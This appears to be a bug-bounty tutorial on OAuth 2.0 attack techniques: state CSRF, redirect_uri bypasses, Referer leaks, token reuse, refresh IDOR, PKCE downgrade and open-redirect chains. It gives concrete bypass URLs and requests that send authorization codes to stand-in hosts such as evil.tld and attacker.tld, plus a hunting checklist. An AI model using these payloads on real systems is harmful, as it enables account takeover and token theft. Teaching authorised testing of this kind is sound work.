Quick answer
OAuth 2.0 is the most profitable target of 2026 — every implementation has its nuances and devs almost never read the whole spec. Four bugs exploit 80% of flows: state missing or not validated (CSRF in account linking → ATO), redirect_uri validated with lax suffix/regex (token leak to attacker domain), cross-app token reuse (token issued for client A valid for client B), and IDOR in /oauth/refresh (someone else's refresh renewed by the attacker). Bounties: €1,500-€15,000 depending on severity.
The authorization code flow (refresher)
[Cliente] [Authorization Server] [Resource]
| | |
| /authorize?client_id | |
| &redirect_uri=... | |
| &state=RANDOM | |
| &response_type=code | |
| ───────────────────────> | |
| | |
| 302 redirect_uri?code=X | |
| &state=RANDOM | |
| <─────────────────────── | |
| | |
| POST /token | |
| code=X + client_secret | |
| ───────────────────────> | |
| | |
| access_token + refresh | |
| <─────────────────────── | |
Each step has its class of bug. Let's start with the most common.
Missing state parameter — CSRF in account linking
state is a random value the client generates, sends to /authorize, and verifies when it receives the callback. Without state, account linking is direct CSRF.
Scenario
Apps that allow "link my Google/Facebook account to my target.com account" usually have a flow:
1. User logged in target.com clica "Link Google"
2. target.com redirige a Google /authorize
3. Google → target.com/oauth/callback?code=X
4. target.com asocia ese code con la sesión actual del user
If target.com does not validate state, the attacker does:
1. Atacante inicia link de SU Google con SU cuenta target.com
2. Para en el paso 3 — captura code de Google
3. Engaña a víctima para visitar target.com/oauth/callback?code=ATACANTE
4. target.com asocia el code del atacante con la sesión de la víctima
5. Víctima ahora tiene la Google del atacante linkeada
6. Atacante logs out → "Sign in with Google" → entra como víctima
Typical bounty €3,000-€8,000 (full ATO).
Detection
GET /oauth/authorize?client_id=X&redirect_uri=Y&response_type=code
← sin &state=
If the client doesn't send state → you already have the bug. If it sends it but always the same value or it's not validated in the callback → the same bug. Test: change the state in the callback, does the app still work? If yes → CSRF.
redirect_uri bypass — the gold mine
redirect_uri must be validated exactly against a whitelist. Any lax matching is exploitable.
Pattern 1 — prefix matching
if (redirectUri.startsWith("https://target.com")) accept();
Bypass:
https://target.com.attacker.tld/callback
https://target.com@attacker.tld/callback
https://target.coma.attacker.tld ← no termina con / o ?
Pattern 2 — suffix matching
if (redirectUri.endsWith("target.com/callback")) accept();
Bypass:
https://attacker.tld/target.com/callback
The attacker hosts /target.com/callback with a script that reads ?code= and exfiltrates.
Pattern 3 — subdomain wildcard too wide
const allowed = /^https:\/\/.*\.target\.com\/callback$/;
Bypass: if any subdomain is attacker-controlled (subdomain takeover, user content hosting, blog at pages.target.com/atacante/) → token leak.
Pattern 4 — open redirect in an allowed redirect_uri
redirect_uri = https://target.com/redirect?next=... — if target.com/redirect?next= allows a redirect to any URL, the code travels to your domain:
redirect_uri=https://target.com/redirect?next=https://evil.tld
↓
authorization server redirige a target.com/redirect?next=...&code=X
↓
target.com/redirect redirige a evil.tld?code=X
↓
evil.tld recibe el code (en query string + via Referer)
Pattern 5 — path traversal in redirect_uri
redirect_uri=https://target.com/callback/../../malicious
↑ normaliza a /malicious
Useful if the app mounts callbacks on sub-paths and another sub-path is user-controllable.
<!-- PAYWALL -->Code interception via Referer
The authorization code travels in the callback's query string. If the callback page embeds third-party assets (image, font, analytics), those third parties receive the Referer with the code.
<!-- target.com/oauth/callback?code=ABC123 -->
<img src="https://analytics.evil.tld/pixel.gif">
analytics.evil.tld receives Referer: https://target.com/oauth/callback?code=ABC123. Typical bounty €500-€2,000 depending on impact.
Correct fix: Referrer-Policy: strict-origin or consume the code before render.
Cross-app token reuse
If two apps (app1.target.com and app2.target.com) share the same authorization server client_id, a token issued for app1 may be valid for app2 → unintended cross-app SSO.
Test
- Log into
app1.target.comwith Google. - Capture the
access_token. - Send a request to
app2.target.com/api/...withAuthorization: Bearer <token>. - Does it respond 200? Cross-app token reuse.
This is Critical when app1 is low-trust (consumer-facing) and app2 is high-trust (admin panel, internal tool).
Missing audience claim
OAuth JWTs should have aud (audience) — the client must verify that the aud matches its client_id. If the app doesn't verify aud, a token issued for client X is valid for client Y.
{
"sub": "user42",
"iss": "https://auth.target.com",
"aud": "client-app1", ← cliente debe verificar esto
"exp": 1700000000
}
IDOR in /oauth/refresh
The refresh endpoint usually receives the refresh_token and issues a new access_token. If the endpoint does not validate that the refresh belongs to the current user:
POST /oauth/refresh
Authorization: Bearer ATACANTE_TOKEN
{"refresh_token": "REFRESH_DE_VICTIMA"}
← 200 OK con access_token de víctima
Source of someone else's refresh: leak via XSS, log, GraphQL introspection, source map. Pattern documented on H1 with bounties €2K-€10K.
response_type confusion — implicit flow attacks
response_type=token (implicit flow) returns the access_token directly in the URL fragment:
https://app.target.com/callback#access_token=XXX&token_type=bearer
If the client accepts both code and token and the attacker can force response_type=token in a flow that normally uses code:
/authorize?client_id=X&redirect_uri=Y&response_type=token ← downgrade a implicit
→ token in the fragment → exfiltrable via window.location.hash from an XSS or open redirect in the app.
PKCE bypass — public clients
PKCE protects public clients (SPA, mobile) that can't store a client_secret. The flow adds code_challenge (a hash of code_verifier) that the attacker can't regenerate.
Common bypass — optional PKCE
Some auth servers allow PKCE but don't require it. If the client sends it and the app doesn't verify it, the attacker makes a request to /token without PKCE:
POST /token
code=INTERCEPTADO ← sin code_verifier
client_id=public_client_id
If the server accepts → PKCE downgrade → useful code interception.
Bypass via weak code_verifier
Some implementations accept code_verifier as an empty string. Test:
POST /token
code=X
code_verifier= ← vacío
Open redirect chain — the €3000 classic
The most profitable combination: open redirect in the target app + attacker-friendly redirect_uri.
1. target.com tiene open redirect en /go?to=...
2. Atacante construye:
/authorize?redirect_uri=https://target.com/go&state=...
3. Auth server acepta (target.com está whitelisted)
4. Callback llega a target.com/go?code=X&state=Y
5. target.com/go redirige a evil.tld?code=X
evil.tld receives the code → gets access to the user's account.
Documented real bounty: €3,500-€8,000 depending on scope.
Hunting checklist
- Capture the full OAuth flow (authorize + callback + token exchange).
- Verify whether
stateis sent and whether it's validated (change the value in the callback). - Test
redirect_uriwith: prefix tricks (@, sub.original.com), suffix tricks, path traversal, subdomain wildcards. - Inspect the callback page for third-party assets → Referer leak of the code.
- Same org has several apps? Test cross-app token reuse and
audverification. - Refresh endpoint — send someone else's refresh token from your session.
- Change
response_type=codetotoken— accepted? - PKCE: test the flow without
code_verifieror with an empty value. - Open redirect in the target → chain with OAuth for a leak.
- Account linking flow: CSRF via missing state → direct ATO.
Related labs
Practice state CSRF, redirect_uri bypass, code interception and PKCE downgrade in OAuth labs.
Practice this in a lab
Oauth Attacks State Csrf Redirect
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
There's an extra payload at the end
El bypass de redirect_uri usando suffix matching que afecta a 30+ apps top según mi research interno — pattern detectable en 1 request.
€7.99/mo · cancel anytime
Related articles
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
The missing state parameter, poorly validated redirect_uri, response_type confusion. How to steal OAuth tokens and force account linking.
OAuth open redirect — backslash bypass of redirect_uri (POE report walkthrough)
Walkthrough of the POE report: open redirect via `\` (backslash) in redirect_uri that POE's parser didn't normalize correctly. URL-based XSS chained for token theft.
Open Redirect via Backslash Bypass in the OAuth Login's redirect_url
The client-side validator checks //, : and /. The backslash slips through. Browsers normalize it to a slash and the victim ends up on evil.tld with an active session cookie.